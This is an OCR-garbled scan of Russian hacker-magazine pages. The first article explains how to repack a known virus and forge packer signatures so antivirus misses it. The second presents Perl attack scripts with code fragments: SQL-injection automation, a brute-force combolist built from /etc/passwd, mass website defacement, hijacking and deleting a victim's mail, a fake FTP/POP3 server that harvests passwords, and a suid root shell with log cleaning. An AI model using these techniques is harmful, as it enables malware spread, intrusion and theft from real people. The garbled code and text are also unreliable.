Для анализа кода его нужно предварительно 
распаковать. Для этого антивирус должен 
знать, прежде всего, чем упакован файл, и 
применить соответствующий алгоритм. Для 
каждого из упаковщиков необходим свой спе- 
циальный алгоритм, а то и несколько сразу, 
так как некоторые программы поддерживают 
несколько разных способов упаковки. Если ан- 
тивирус верно определил, чем упакован файл, 
и если он поддерживает данный алгоритм 
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распаковки, то успешно извлечет из файла 
код программы и проверит его. У антивиру- 
са начинаются проблемы в том случае, ког- 
да тип упаковщика ему неизвестен. Антиви- 
русы умеют вскрывать файлы, сжатые боль- 
шинством популярных упаковщиков. 

Для того чтобы попавший в базу троян 
или вирус перестал определяться антиви- 
русом, необходимо либо упаковать его за- 
ново неизвестным антивирусу упаковщи- 
ком, либо затруднить или сделать невоз- 
можным определение того, чем сжат 
файл. 

Л УПРКОВКР 

Для опытов я взял давно присутствующий во 
всех антивирусных базах вирус МуОоот.е. 
Для проверки я использовал два антивируса, 
которые нашлись у меня на компьютере, - 
Казрегзку Апіі-Ѵігиз 4.5 и Моііоп Апіі-Ѵігиз 
2002. Данный экземпляр МуОоот запакован 
ІІРХ’ом - довольно известным и распростра- 
ненным упаковщиком. Я определил это по 
названиям секций в РЕ-заголовке файла 
(ІІРХО и ІІРХ1 ), а также по присутствующей 
там строчке «1 .24 II РХ». Распаковать II РХ не 
составляет труда - это позволяет делать и 
сама утилита ирх.ехе, стоит только указать 
ключ -б. Практически все антивирусы умеют 
делать это, так как разработчики ІІРХ актив- 
но сотрудничают с компаниями, занимающи- 
мися разработками в сфере сетевой безо- 
пасности, о чем прямо упоминается в лицен- 



зии программы. На са- 
мом деле распаковать 
файл бывает непросто. 

Не все программы для 
сжатия исполняемых фай- 
лов поддерживают распа- 
ковку. Приходится искать 
в интернете специальные 
распаковщики, которые 
далеко не всегда работа- 
ют корректно. 

После распаковки 
файл, конечно же, тоже 
определяется антивирусом. Теперь необхо- 
димо запаковать файл таким упаковщиком, 
который был бы ему неизвестен. Упаковщи- 
ков в инете действительно много, и есть из 
чего выбрать. Для опытов я выбрал 
РЕСотрасі2. Этот упаковщик замечателен 
тем, что дает на выбор пять разных вариан- 
тов сжатия и два загрузчика. Различные спо- 
собы сжатия реализованы в виде кодеков. 

Я взял распакованный файл и попытался 
сжать его заново. Были выбраны следующие 
настройки упаковщика: наивысший уровень 
компрессии, кодек для сжатия - 12МА 80К 
Собес, загрузчик - стандартный. Я выбрал 
именно 1_2МА, так как именно этот алгоритм 
дает наименьший размер итогового файла. 
Высокий коэффициент сжатия достигается 
за счет использования того же самого алго- 
ритма сжатия, что используется в архивато- 
ре 7іір. По размеру сжатых файлов 7іір, как 
известно, иногда обгоняет даже ВАВ. 

Вирус успешно сжался. Затем я проверил по- 
лучившийся сжатый файл антивирусными 
программами АѴР и МАѴ. Оба антивируса по- 
казали, что файл чист! Это говорит о том, что 
используемый кодек сжатия им неизвестен и 
ничего подозрительного в этом файле анти- 
вирусы не углядели. 

После сжатия необходимо проверить вирус 
или троян на работоспособность, а то может 
получиться так, что на компьютере-жертве он 
просто вылетит с ошибкой. Такое иногда слу- 
чается со сжатыми файлами. Разумеется, за- 



^ Для опытов я взял давно присутствующий ^ 
во всех антивирусных базах 
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Н екоторые программы дописывают в свое тело некоторое 
количество дополнительных данных, о которых нет данных в 
РЕ-заголовке, - оверлеи (оѵегіауз). При сжатии такого файла 
эти данные могут быть утеряны. Оверлеи могут хранить нужную 
для работы программы информацию, поэтому терять их не 
стоит. Во многих упаковщиках предусмотрена функция 
сохранения оверлеев. Например, в ІІРХ это ключ --оѵегІау=сору. 
Насколько корректно упаковщик работает с оверлеями, можно 
проверить, попробовав сжать флеш-мультик, который 
представляет из себя не что иное, как РІазИ РІауег с 
прикрепленной флешкой. Если запаковать его без сохранения 
оверлея, то после запуска ты увидишь лишь пустое окно, так как 
мультик не сохранится. 
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А Помни, что 
любые действия по 
распространению 
вредоносных 
программ 
караются 
Уголовным 
кодексом РФ. Не 
следует нарушать 
законы страны, в 
которой ты 
живешь. 




А На нашем диске, 
как всегда, ты 
найдешь весь 
упомянутый в 
статье софт. 



пускать вирус на своем компе, чтобы прове- 
рить, работает ли он, я не стал. Для проверки 
можно просто взять несколько других прог- 
рамм, сжать их с теми же параметрами и 
проверить, не возникают ли в них ошибки. 
Если все программы заработали, то и с Троя- 
ном, скорее всего, ничего не случится. 

А ИРСКИРОВКР 

Для повышения защиты от детектирования 
антивирусом нужно применить дополнитель- 
ные меры по маскировке. Можно вообще не 
переупаковывать файл, а попытаться скрыть 
от антивируса информацию о том, чем на са- 
мом деле бинарник сжат. Допустим, вирус 
сжат обычным ІІРХ. Если антивирус не будет 
об этом знать, то не сможет найти подходя- 
щий способ распаковки. Защитить программу 
от определения типа компилятора и упаков- 
щика, использованного для ее создания, поз- 
воляет модификация точки входа. Эту проце- 
дуру можно выполнить с помощью специаль- 
ных утилит, таких как, например, НісІеРЕ. С 
помощью этой программы можно сделать 
так, чтобы файлы, упакованные, например, с 
помощью ІІРХ, определялись как упакованные 
АЗРгоіесі или ѴВОХ. После обработки этой 
программой вируса Мубоот.е ни Казрегзку, 
ни Моііоп не смогли его определить. От раз- 
работчиков НісІеРЕ доступна еще одна подоб- 
ная программа - ЗіеаШіРЕ. Она отличается 
более богатым набором инструментов для 
скрытия информации о типе упаковщика. 
Среди таких программ от других разработчи- 
ков следует упомянуть о ОоіРіх РакеЗідпег, 
которая предлагает на выбор более 200 раз- 
личных сигнатур компиляторов и упаковщиков 
для внедрения в программу. 
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^ Если антивирус не будет об этом знать, 
то не сможет найти 

т подходящий способ распаковки. 



.і ВОЗМОЖНЫЕ ПРОБПЕИЫ 

В реальной ситуации с распаковкой и упа- 
ковкой программ может возникнуть куча 
проблем. Например, есть троян, но 
неизвестно, чем он упакован. Можно попы- 
таться использовать одну из специальных 
утилит, например РЕЮеп^ег или РЕ Зпіі^ег 
из РЕ Тооіз. Если эти программы не дали те- 
бе необходимой информации, тогда можно 
попытаться определить на глаз. Разработчи- 
ки упаковщиков любят вставлять названия 
своих программ в обработанные файлы. Так 
что если в начале файла найден заголовок 
«РЗО», то, скорее всего это файл, сжатый 
именно РЗО. Допустим, известно, чем упако- 
ван файл, но этот упаковщик не поддержи- 
вает распаковку. Можно не беспокоиться, 
умные люди наверняка давно написали рас- 
паковщик именно для этой программы. Как 
говорит разработчик ІІРХ: «^из^ бо а ѵѵеЬ- 
зеагсб оп "ипраскегз"». Любой алгоритм упа- 
ковки можно сломать, просто некоторые ал- 
горитмы ломаются на лету, а некоторые тре- 
буют специального подхода и недюжинных 
знаний в программировании на ассемблере. 

.і что в ИТОГЕ 

Что можно сделать с помощью этих нес- 
ложных процедур? Много чего. Спровоци- 
ровать новую вирусную эпидемию, взяв 
известный вирус и наделав из него пять 
новых разновидностей. Поставить троян на 
машину человека, который может хоть каж- 
дый день сканировать свой жесткий диск 
антивирусным сканером и ничего не обна- 
руживать. Всеми этими способами успеш- 
но пользуются разработчики программного 
обеспечения для защиты своих творений 
от взлома. Крэки все равно рано или позд- 
но появляются, но хорошая защита испол- 
няемого файла может как минимум задер- 
жать этот процесс. На пару деньков. Не 
проспи Новый год, удачи! :) 



^НУЖНЫЙ СОФТ 

Если интересно повторить мой эксперимент, 
то потребуется софт, который я упоминал в 
этой статье: 

НібеРЕ, ЗіеаІІІіРЕ Мф://1]дсогр.пагос1.ги 

ОоіРіх РакеЗідпег ѵѵѵѵѵѵ.сІоШх.сот 

иРХ1.90ѵѵШр://ирх.5(.пеі 

РЗО 2.0 шѵѵ.хігеете.ргѵ.рі 

РЕ Сотрасі 2.10 ѵѵш.ЬіІзип.соп 

РЕ ТооІз/РЕ $пі[[ег ѵѵш.иіпс.ш 

Как всегда, этот софт можно найти на нашем 

диске, а также на сайте ііир://ігесі.іпіп$.ги/ха. 

^ПРОСТЫЕ СОВЕТЫ 

Попробуй запаковать файл разными прог- 
раммами с различными алгоритмами 
сжатия - результат работы будет разно- 
образным. Какая-то из софтин сожмет 
твой бинарник в 10 раз, но он банально 
не запустится. Какая-то сожмет на 30%, 
обеспечив стабильную работу до провер- 
ки антивирусом. Но ты выберешь ту, что 
уменьшила размер твоего чудо-бинарни- 
ка вдвое, а вероятность нелепого конф- 
ликта с антивирусом свела к нулю. Также 
ты можешь просто вставить в свою прог- 
рамму сигнатуры других программ для 
сжатия, что окончательно запутает глупые 
антивирусы. ЗС 
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Техническая поддержка: К-8іу1е Сотриіегз (095) 514-1417 

тѵм^.г-8Іу1е-сотри1ег8.ги 

Сделано в России. Сделано на совесть! 



Ітеі, Ітеі 1о§о, Ішеі Іпзісіе, Іпгеі Іпзісіе 1о§о, Ітеі Сешгіпо, ІпіеІ Сетгіпо 1о§о, Сеіегоп, Ітеі Хеоп, Ішеі 8реес18гер, Капіит, Ретіит, апб Репйит III Хеоп аге набетагкз ог ге§і8іегес1 Набетагкз о1 ІпіеІ 
Согрогаііоп ог Из зиЬзісІіагіез іп ійе Ппііеб 8іаіез апй оШег соипігіез. 







.ІЗРЧЕИ НУЖНЫ СКРИПТЫ? 

давних времен я привык дове- 
рять мощному языку РегІ, кото- 
рый решает все необходимые 
задачи. Я составляю сценарии, 
которые всегда помогут про- 
парсить нужный файл, соста- 
вить структурный список, пе- 
ребрать пароль на загадочный 
сервис, посмотреть удаленные каталоги и т.д. 
Несложно догадаться, что на моей видовой 
машине давно поселился эмулятор АсііѵеРегІ. 
Я очень советую его поставить, поскольку 
добрая половина описываемых скриптов ус- 
пешно тестировалась на нем. Остальные сце- 
нарии были разработаны для запуска под 
ипіх, поэтому убедись в наличие интерпрета- 
тора в твоей системе. Стартовая площадка 
готова для испытаний? Тогда поехали! 

.іавтоиптизация ИНЖЕКЦИИ 

Первый скрипт, который я собираюсь выста- 
вить на публичное обозрение, получил наз- 
вание зді-сбеск.рі. Его задача - автоматизи- 
ровать поиск нужного 501-запроса для ус- 
пешной инжекции. К примеру, находится 
бажный РНР-сценарий, который успешно 
умирает после подстановки кавычки в пара- 
метр. Понятно, что никто не мешает провес- 




ти 801-инжекцию. Но вот досада - подста- 
новка параметров к ІІМІОМ возвращает ошиб- 
ку несоответствия опций первого и второго 
5Е1_ЕСТ'а. В итоге сталкиваемся с выбором: 
либо вручную подставлять добавочный пара- 
метр и молиться, чтобы скрипт вывел адми- 
нские хэши, либо автоматизировать процесс 
с помощью небольшого сценария. Я думаю, 
многие выберут второй вариант. 

Сам скрипт не представляет собой ничего 
сложного. Для его успешного запуска требу- 
ется модуль ІѴѴР::8ітрІе (поставляется по 
умолчанию), с помощью которого происходит 
обращение к удаленному ѵѵеЬ-серверу. Весь 
смысл автоматической проверки содержится 
в следующем кусочке кода. 



Фрагмент $дІ-сІіеск.рІ 



$игІ- Шр://Ьид.[ 10 $і.сот/$^I-Ьид.р[ 1 р?раде =2 ННІОН $еІесі 
0[іп5]--': 

!ог($і=1:$і<=@АР6Ѵ[0];$іН{ 

$5іг.=",$і": 

$игІ2=$игІ; 

$игІ2=~$Л[іп$\]/$$іг/д: 

$сопі=деі($игІ2): 
ргіпі "$сопі\п": 

} 



После обработки начальной ссылки сло- 
во [іпз] заменяется на единицу, в результа- 
те чего подставляются уже два параметра. 
После второй итерации прибавляется еще 
один аргумент и т.д. Важно помнить, что 
опцией скрипта служит ограничительное 
число параметров. Например, запустив зді- 
сбеск.рі с опцией 30, можно прокрутить 
цикл 30 раз и, соответственно, подставить 
тридцать различных вариантов 501- запро- 
са. 

.ІИОДНПЯППЬТЕРНПТИВПНСЕТ 

Бывает, что требуется скачать определенный 
файл или даже несколько файлов, но на сер- 
вере отсутствует утилита ѵѵдеі При таком 
раскладе я пользуюсь перловым скриптом, 
который бережно скачает необходимые 
эксплойты и руткиты. Для его полноценной 
работы требуются целых три модуля из се- 
мейства ІѴѴР, но они, опять же, поставляют- 
ся по умолчанию. Не буду помещать код 
сценария, так как при желании в нем можно 
разобраться самому. Скажу лишь, что для 
успешного использования деірі необходимо 
создать текстовый файлик игІз.М и записать 
туда все ссылки для скачивания. После стар- 
та сценария произойдет обращение ко всем 
урлам и доставка необходимых файлов на 




взпои 



ХПКЕР/№1 2(721/2004 



ПЕРЛОВЫЕ СЦЕНОРИИ НО ВСЕ СП9Ч0И ЖИЗНИ 



жизни взпоищика иожет возникать иного разных ситуаций. Некоторые из них решаются с помощью нехитрых хакерских действий, 
остапьные разрупиваются посяе проведения рутинной работы. Чтобы обпегчить труд взпоищика, я напивая десять незаменимых 
регі-скриптов, которые активно испопьзую каждый день. 
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сервер. Если в результате скачивания прои- 
зойдет ошибка, то мой скрипт сразу же опо- 
вестит о ней, не прерывая своей работы. 

Этот сценарий я использую уже второй 
год. Он действительно незаменим, когда 
на удаленной машине отсутствует 
/изг/Ьіп/ѵѵдеі и компилятор дсс или нет 
прав на запуск качалок. Найти этот чудес- 
ный и очень полезный скрипт можно на 
нашем диске. 

А ВОЗЬИИ ЕГО силой! 

Сетевой перебор паролей является 
очень действенным, а иногда единствен- 
ным способом взлома сервера. Он ис- 
пользуется, например, в тривиальной 
ситуации, когда найден бажный скрипт, 
показывающий системные логины. Тут 
требуется лишь отделить мух от котлет и 
провести тупой брутфорс по паре 
Іодіп:Іодіп через открытый РТР-порт. 
Чтобы не испытывать сложности при ру- 
тинном парсинге системного файла, раз- 
мер которого может достигать несколько 
десятков килобайт, предлагается ис- 
пользовать практичный сценарий. Он 
составляет так называемый комболист, 
который затем скармливается брутфор- 
серу. В качестве бонуса я снабдил 
сотЬо.рІ функцией распознавания ва- 
лидного шелла. Короче говоря, аккаунты 
со всякими /ЬіпДаІзе и /беѵ/пиІІ не будут 
внесены в комболист. 



Нехитрый парсинг 

й!/и$г/Ып/рег1 

$доо(]$[іеІІ='1)а$Іі': йСтрока с хорошим шеллом 
ореп(ІМ,"$АК6Ѵ[0]"): 

ореп(01Я,">$АР6Ѵ[1]"): # Открываем файлы 
ѵѵіііІе(<ІМ>){ 

сііолір: 

($и,@ип(1еН=$рІіі йРежем по символу 
((1еШе(]($доо(]$[іеІІ)) { йЕсли отбрасывать ле- 
вых юзеров 

\\ (ЗипбеЩзсаІаг $ип(1е!)-1]=~/$доо(]$[іеІІ/) { 
ргіпі ООТ "$и:$и\п": 

}}еІ5е{ 

ргіпі ОІЯ "$и:$и\п": 

}} 



В коде происходит разделение полей сис- 
темного файла с последующим анализом 
последнего. Если шелл пользователя рабо- 
чий, то пара Іодіп:Іодіп выносится в отдель- 
ный файл. Впрочем, никто не заставляет 
юзать эту фичу - ее можно выключить, уда- 
лив строку с объявлением переменной 
$доосІзІіеІІ. 

В командной строке запуска скрипта 
должны присутствовать два параметра: 
входной файл (/еТс/раззѵѵсІ) и выходной 
(комболист). Можно упростить скрипт, впи- 
сав фиксированные имена файлов в функции 
ореп(), правда, в этом случае сценарий уже 
не назовешь универсальным :). 



[Г1КІСІІЗЛЗИ ЯЕСЁй]Я СК. 

Ь.т ср ! говѵая . 

Р]4* ии-щ 

[гоасіЬлш !ЕігсЁа]і 1-І -!■ рт 
ріАІіе рцп.С'р . Еір 

г ^ 15 рТ# ЬіЧ-крІ 

Стягиваем нужные файлы 



/ СКРИПТОВЫЙ БОНУС 



В се описываемые сценарии помещены в один архив и ждут те- 
бя по адресу ИНр://катеп8к.пе1.гиДогЬ/1 /х/1 0_8сгірі8.2ір. 

Но это еще не все. На странице И«р://катеп8к.пе1.ги/^огЬ/1 /х/ 
ты можешь найти другие сценарии, которые тебя заинтересуют. 
О них я уже когда-то писал в X и параллельно выкладывал свои 
творения на сервер. Покопайся там - наверняка скачаешь для се- 
бя что-нибудь полезное. 



.ІПВОТЭТОИОЙРПЗИЕРЧИКІ 

Мне часто приходится прибегать к рутинной 
процедуре поиска файлов определенного 
формата. Но помимо расширения, меня ин- 
тересует и размер документа. К примеру, я 
не хочу скачивать документы, которые име- 
ют размер менее семисот килобайт. В сис- 
темной функции ^іпсі есть опция -зііе, однако 
она задает лишь фиксированное число, что 
крайне неудобно. 

Все эти накладки заставили меня напи- 
сать простенький скрипт, который ищет все 
необходимые документы, а затем составляет 
список файлов определенного размера. Вес 
документа передается сценарию в качестве 
первого параметра. Вторая и третья опции 
отвечают за маску поиска и путь соответ- 
ственно. 

Главный минус моего творения - медлен- 
ная работа. Первым делом скрипт вызывает 
^іпсі, ищущий нужные доки с последующей 
записью местоположения файла во времен- 
ный журнал. Затем этот лог открывается и 
тщательно анализируется. Если размер най- 
денного файла достигает заданного, инфор- 
мация переносится в другой лог. Таким об- 
разом, после завершения работы сценария 
получается список документов, подпадаю- 
щих под все нужные условия. 

Никто не запрещает сдружить ^іпсі.рі и 
Іосаіе, с последующим запросом размера на 
каждый найденный файл. После такого но- 
вовведения скорость работы сценария воз- 
растет в несколько раз. Правда, редко где 
можно встретить функционирующий бинар- 
ник /изг/Ьіп/Іосаіе :(. 

.ІДЕФЕЙСИИВСЕИВСЯ 

В позапрошлом номере (10/2004) я расска- 
зывал о том, как правильно дефейсить сай- 
ты. Однако я почти ничего не сказал про 
масс-дефейс. Бывает, что по счастливой 
случайности можно получить абсолютные 
права на каком-нибудь хостинге. Чтобы за- 
дефейсить несколько сотен сайтов вручную, 
требуется несколько часов. Гораздо проще 
запустить скрипт, который за минуту спра- 
вится с поставленной задачей. 

Прежде чем автоматизировать процесс, 
составляется текст дефейса и сохраняется в 
файле бе^асе.М. Затем надо хорошо поду- 
мать над вопросом: нужно ли бэкапить ори- 




^ Если ты написал 
какой-то крутой 
хакерский скрипт, 
не молчи об этом. 
Отправь мне его 
почтой - я помогу 
стране узнать 
своих героев! :) 




^ Все недостаю- 
щие РегІ-модули 
могут быть взяты 
по адресу 
ѵѵѵѵѵѵ.срап.огд либо 
установлены ко- 
мандами регі -е 
Мо(1и1е;:Мате - 
МСРАМ (ипіх) и 
ррт іп8(аІІ 
Мо(1и1е;:Мате 
(ѴѴіпбоѵѵз). 
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взпои 





А я несколько раз 
говорил в статье, 
что перловый код 
можно 

скомпилировать в 
готовый бинарник. 
Это довольно 
удобно, хотя 
обычно 
генерируется 
здоровенный 
неподъемный файл 
- значительно 
рациональнее 
просто переписать 
эти программки на 
С и собрать 
нормальным 
компилятором. 

А Весь софт из 
«Взлома» ты мо- 
жешь найти и на 
сайте Иир;//іге(1. 
іпіп8.ги/ха/ 



гинальный іпсіех.іііті? Если нужно (а так де- 
лают многие дефейсеры), то открывается 
файл тазз.рі и в нем меняется значение пе- 
ременной $Ьаскир. Теперь нужно выбрать 
файлы, внутренности которых будут замене- 
ны хакерским текстом. Можно подвергнуть 
изменению как документы іпсіех.іііті, так и 
все файлы, подпадающие под маску іпсіех.*. 
Когда выбор сделан, стартуется тазз.рі с 
параметрами бе^асе.М маска_^ефейса. Во 
время процесса дефейса скрипт будет отчи- 
тываться по каждому замененному файлу. 
Если такой отчет не нужен, то нужно 
обнулить переменною $с1еЬид в коде сцена- 
рия. 

.ІХРКЕРСКОЕ письмо 

Кажется, что все мои скрипты ориентирова- 
ны исключительно на атаки ипіх-серверов. 
Но это не так, для бажной винды у меня то- 
же кое-что имеется. Предположим, что 
необходимо отправить письмо с захвачен- 
ной машины. Но также прекрасно известно, 
что в винде нет аналога линуксовой коман- 
ды таіі. В связи с этим был написан не- 
большой скрипт, который шлет необходи- 
мое письмо от произвольного отправителя. 
Единственное условие, которое необходимо 
выполнить, - найти 8МТР-сервер, принима- 
ющий письма со взломанной машины. 

Сценарий не использует никаких модулей 
типа Меі::5МТР. Практика показывает, что 
подобные библиотеки изначально отсутству- 
ют на виндовой тачке. С помощью обычного 
сокета скрипт соединяется с 8МТР-серве- 
ром и посылает ему необходимые данные. 
Текст хакерского письма должен быть пред- 
варительно записан в файл Іейег.М. Вся ос- 
тальная информация (тема, отправитель, 
получатель) занесена внутрь зтір.рі. 




Е . ^нлікйрі\іі^вгЧ1І_-ісг ьіііт^ннг і I -гміі г*с І.ьрагі ыі | -гѣЛѣршсХ .ір I 
тФш Сйпнрсі ІЛ1 
] -лк тл'ші гмІігкгЧ ( 1 І Іігм 

СЛн^н<\іі^іг\ІІ„жгІ№ІіѴиі4гспѴиііІ г^ігкІ>иг1 ваіі ГВ4ІІГѴСІ: лк 
Шѣщш. аіііі-гМрг*ск.рк 
ВИ і-йіч Л- 

-ір Ікжін» 4іГ »пмг 

-II ІІѴПМІ Г«г 

-№ Глтврё (ирг Іміл 
I- Ншігмн» «г БІРІБ ЙГѴЧГ 
-4. ЕікІшІІ СІГ пне] 

-Ш- прЬЬігіЗвііІЬп ІгікІ-нікІѵгі Ьіг ^ІнрІ-Н 

& ВйЭеІІ- ШѴ ІМТІІІПГ ЛіПнг СШІІЬГІіСІІПв 

-к. ІІіві кеЬр 



Е : ірьІѵЧііішгснѴнІ | -г«1а гк 



Сила и мощь консольного редиректора 



К сожалению, на некоторых виндовых 
серверах может отсутствовать эмулятор 
РегІ. Если это так, используй средство 
Рег12Ехе для создания исполняемого файла 
зтір.ехе, который будет гарантированно ра- 
ботать в любых условиях. 

.ІПЕРЕКИДЫВРЕИ ПОЧТУ 

Представь ситуацию: хакер завладел ящи- 
ком какого-нибудь богатого иностранца и 
желает познакомиться с его почтовой кор- 
респонденцией. Но для того чтобы почи- 
тать входящие письма, необходимо найти 
хороший прокси-сервер и каким-то обра- 
зом их сохранить. Ррадикальный метод 
разрешения всех проблем - исполь- 
зование скрипта, скачивающего все пись- 
ма с одного ящика с последующей их от- 
сылкой на другой. Сценарий может ре- 
шить все проблемы сразу. Ясен пень, что 
запускать перловый скрипт нужно с дале- 
кого буржуйского шелла. 



Способности редиректора 



$иЬ и$аде { 

ргіпі "0$аде: $0 [орііоп$]...\п"; 
ргіпі "Орііоп$ аге: 

Но$іпате о! рорЗ $егѵег 
-и: Озегпате !ог Іодіп 
-р: Ра$$ѵѵог(] ^ог Іодіп 
-і: Но$іпаше $тір $егѵег 
Ое^аиіі $иІ)]есі (і! попе) 

-ш: М(15 аиіііогігаііоп ((1і$аЫе(] Ьу (Іе^аиіі) 

-(1: Оеіеіе АН ше$$аде$ аііег геШгесііпд 
-іі: ТІ1І5 Ііе1р\п": 
ехіі 
} 

Процедура изаде() сразу раскрывает 
все возможности сценария. Во-первых, 
скрипт умеет принимать параметры зтТр и 
рорЗ сервера прямо из командной строки. 
Во-вторых, редиректор может авторизо- 
ваться защищенным методом, в результа- 
те которого все сниферы пойдут лесом. И 
в-третьих, сценарий способен удалить все 
сообщения после их отсылки на хакерский 
ящик. Эту фичу следует юзать с особой 
осторожностью. 

Надо заметить, что мое творение исполь- 
зует в работе модуль Меі::РОРЗ. Он не пос- 
тавляется по дефолту, поэтому требует до- 
полнительной установки. Чтобы заинстал- 
лить пакет, нужно выполнить команду регІ - 
МОРАМ -е іпзУІ Ме1::РОРЗ. 

.і ОТППВПИВОЕИ пароли 

Если ты думаешь, что я буду рекламировать 
самопальный снифер, ты ошибаешься. Слу- 



чается, что хакер перехватывает конфигура- 
ционный файл какого-нибудь РТР- или поч- 
тового клиента. Теперь его задача - отловить 
пароль на почту либо файловый архив. Для 
выполнения задуманного можно прибегнуть 
к программам типа орепразз или гесоѵег, но 
не факт, что они дадут желаемый результат. 
Для альтернативного решения задачи можно 
применить мой скрипт, прослушивающий 
порт и полностью эмулирующий сервис. При 
этом сценарий общается с клиентом, выпол- 
няя функцию рабочего сервиса. 

В комплекте со сценарием идут два текс- 
товых файла. В первом изложены ответы на 
команды при работе с РТР, а во втором - 
при РОРЗ аутентификации. В зависимости от 
протокола, надо создать файл гІс.М и поло- 
жить его в каталог со скриптом. Затем за- 
пускается сценарий из командного интерп- 
ретатора (чтобы окошко не закрылось рань- 
ше времени) и травится клиент на локаль- 
ный хост. Глупая программа, ничего не по- 
дозревая, соединится с фэйковым сервисом 
и передаст ему драгоценный пароль. Он 
сразу виден при выводе сценария. 



Эмуляция сервиса 



ѵѵіііІе($сІіепі=$$оск->ассерЮ) { й Когда соединение произош- 
ло 

ѵѵііііе(і) { й Организуем бесконечный цикл 

$гк[$і]=~$АпДг\п/: й Добавляем символ перевода каретки в 

(рейковый ответ сервиса 

$сІіепі->$епб("$гк[$і]"): й И шлем его клиенту 

ргіпі "=>: $гіс[$і]": й Дублируем в консоли 

$і- 

$$іаі=$сІіепі->гесѵ($баіа,1024): іі Читаем данные из сокета 
ргіпі "<=: $баіа\п": 

іі ($і ед Зсоипі || $баіа=~/диіі/і) { іі Если в данных содержит- 
ся ОШТ или больше нет ответов 
ргіпі "[N0 0Р0АТА(Е0Ргіс огдиііДп": 
сІо$е($сІіепі): іі Закрываем сокет и выходим 
ехіі: 

}}} 



Для совместимости с клиентами прово- 
дится введение дополнительного символа 
возврата каретки. После соединения с поч- 
товиком выводится поддельный баннер, а 
затем читается имя пользователя. Точно так 
же принимается пароль и остальные коман- 
ды. Если в файле с реакционными фразами 
более ничего нет, соединение закрывается. 
Закрытие сокета происходит также в случае 
получения слова ОІІІТ. 



^ РУТОВЫЙ ШЕПП 
за ДВЕ МИНУТЫ 



Часто бывает, что на взломанной машине 
напрочь отсутствует компилятор. При таком 
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^ №іір*|іі^ ^5 |№ 4 іг|^«иіпк №і|.ги^ 
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Эмулируем сервис и забираем пароли 



ужасном раскладе хакеру не удается скомпи- 
лировать руткит, логвайпер и даже бэкдор! 
Чтобы решить эту проблему, достаточно об- 
ратиться за помощью к перловому интерп- 
ретатору. Не буду тянуть резину, а сразу 
скажу, что мне приходит много писем с воп- 
росом организации суидных приложений на 
РегІ. То есть, попросту, взломщик хочет вы- 
полнять команды суперпользователя через 
обычный перловый скрипт. Этого добиться 
не просто, а очень просто :). 

Не секрет, что суидные скрипты обрабаты- 
ваются специальным интерпретатором 
/изг/Ьіп/зиібрегІ. Но вот западло: перед вы- 
полнением сценария зиібрегі всячески прове- 
ряет его на предмет наличия опасных команд. 
То есть при обычных условиях интерпретатор 
обойдет стороной подозрительную функцию 
зузіет(). Чтобы отключить эту проверку, не- 
обходимо использовать параметр -II, указан- 
ный в заголовке сценария. А дальше дело 
техники: организуется бесконечный цикл, в 
котором происходит запрос команды. В итоге 
получится что-то типа суидного /Ьіп/Ьазіі. В 
довесок ко всему этому можно добавить ряд 
нехитрых команд, которые запускают порти- 
рованный логклинер и прячут хакерские про- 
цессы. 



Суидная оболочка 



й!/и$г/Ьіп/$иі(]регІ -О 

$у$іе[п("/и$г/1)іп/сІіескІод$ Шщ"): й Запускаем портиро- 
ванный логклинер 
ѵѵІііІе(1){ 

ргіпі "гооіспкій й Выводим приглашение в бесконечном 

цикле 

$сліб=<>: 

сІіопір($сліб): 

$оиі='$сліб': 

ргіпі $оиі; й А также результат обработанной команды 
} 



і 

11 Ѵ 

І^Ьи-рлтс - Д>-|п/К4 #і«НЗі Д 

4- I 

Все чисто! На сервере только легальные процессы 



Также надо не забыть установить на 
сценарий зиіб-бит и припрятать его в ук- 
ромное место, обозвав невзрачным име- 
нем. А еще лучше, скомпилировать хакерс- 
кое творение программой регісс, и тогда 
админ никогда не догадается, что на его 
машине поселились злые хакеры. 

.і СКРЫТЫЕ ПРОРСЫ 
под ХРКЕРСКИЙ ВЗОРОМ 

и последний сценарий. Я написал его, когда 
проводил аудит своей системы. Чудесный 
скрипт отображает процессы, которые скры- 
ваются от утилиты /Ьіп/рз. Он очень приго- 
дился мне и в хакерской жизни: я запускаю 
рз.рі на всех взломанных машинах, дабы 
убедиться в том, что кроме меня машину 
никто не поругал. Хакеру и администратору 
в одном лице никто не мешает доработать 
сценарий (добавить е-таіі-оповещение) и 
запускать его сгопіаЬ'ом каждые три часа. 
Можно использовать скрипт в качестве про- 
верки эффективности руткита (большинство 
нормальных ІКМ позволяют облапошить 
этот сценарий). В общем, применений рз.рі 
может быть несколько, однако не следует 
слишком доверять этой программе :). 



[ 1 '«^Иx'цЖйв■^ 4 I Ба А] [ ./яи.ЕА|Еи- 11 ..р -1 
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Суидный интерпретатор слушает вас! 



Настало время рассказать о том, как же 
сценарий проверяет скрытые процессы. На 
самом деле все просто. В самом начале 
скрипт запускает /Ьіп/рз -аих и сохраняет 
вывод утилиты в отдельном массиве. Затем 
открывается каталог /ргос, где находятся 
идентификаторы всех процессов. Каждый 
РЮ в этой директории сравнивается с выво- 
дом рз. Если получается, что рз каким-то об- 
разом утаивает номера процессов, то скрипт 
сообщает о несоответствии и выводит все 
скрытые идентификаторы. 

Надо сказать, что в силу своей кроссплат- 
форменности сценарий показывает высокие 
результаты на всех ипіх-системах. 

.ІФИНППЬНЫЙОККОРД 

Вот, собственно, и все скрипты, которые я 
хотел описать. Каждый представленный сце- 
нарий скрупулезно тестировался на различ- 
ных системах и показывал высокие результа- 
ты, но возможно, в каком-нибудь из них до 
сих пор таится пропущенный баг. Если ты 
заметил подобный недостаток, сразу же пи- 
ши мне - разберемся :). Засим прощаюсь и 
желаю тебе побольше новогоднего трэша и 
угара. Нарру Меѵѵ уеаг! :) □С 



ТХР5|?>ТРХСИі5 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес ЗкІуагоѵІ>геаІ.хакер.ги. 
Ведущий рубрики Тір$&Тгіск$ Иван Скляров. 



^ Хочешь большую срлешку на 20 (40) гигов? Для этого 
необходимо купить 2,5-дюймовый винт для ноутбука. 
Например, 2"5 20.0 6Ь Зеадаіе 5Т92011А Мопіепіи$ за 
2100 рублей и МоЬіІКаск Н5В2.0 ВОХ І0Е-ІО-Н002.5" 
алюминиевый УН0221 РЕ-2.5Н002.0 за 615 рублей (в 
комплекте идет кабель МоЬіІВаск -> Н5В & Р5/2). Винт 
можно разбить на разделы и отформатировать в 
сервис-центре или в магазине при покупке. Делают это 
бесплатно. Теперь через У5В на него можно скачивать 
всю необходимую инфу. Если питания не хватает, то 
можно запитаться от Р5/2 или приобрести отдельный 
